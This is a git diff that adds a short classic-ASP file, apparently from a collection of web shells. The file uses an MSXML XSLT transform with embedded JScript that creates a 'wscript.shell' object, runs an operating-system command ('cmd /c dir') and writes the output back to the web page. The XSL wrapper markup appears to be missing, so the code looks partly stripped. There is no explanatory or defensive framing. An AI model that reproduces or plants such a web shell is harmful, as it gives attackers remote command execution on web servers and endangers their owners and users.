diff --git a/asp/xslt.asp b/asp/xslt.asp new file mode 100644 index 0000000..a8cbec8 --- /dev/null +++ b/asp/xslt.asp @@ -0,0 +1,9 @@ +<% +set xmldoc= Server.CreateObject("MSXML2.DOMDocument") +xml="cmd /c dir" +xmldoc.loadxml(xml) +Set xsldoc = Server.CreateObject("MSXML2.DOMDocument") +xlst=" function xml(x) {var a=new ActiveXObject('wscript.shell'); var exec=a.Exec(x);return exec.StdOut.ReadAll()+exec.StdErr.ReadAll(); } " +xsldoc.loadxml(xlst) +response.write "
" & xmldoc.TransformNode(xsldoc)& "
" +%>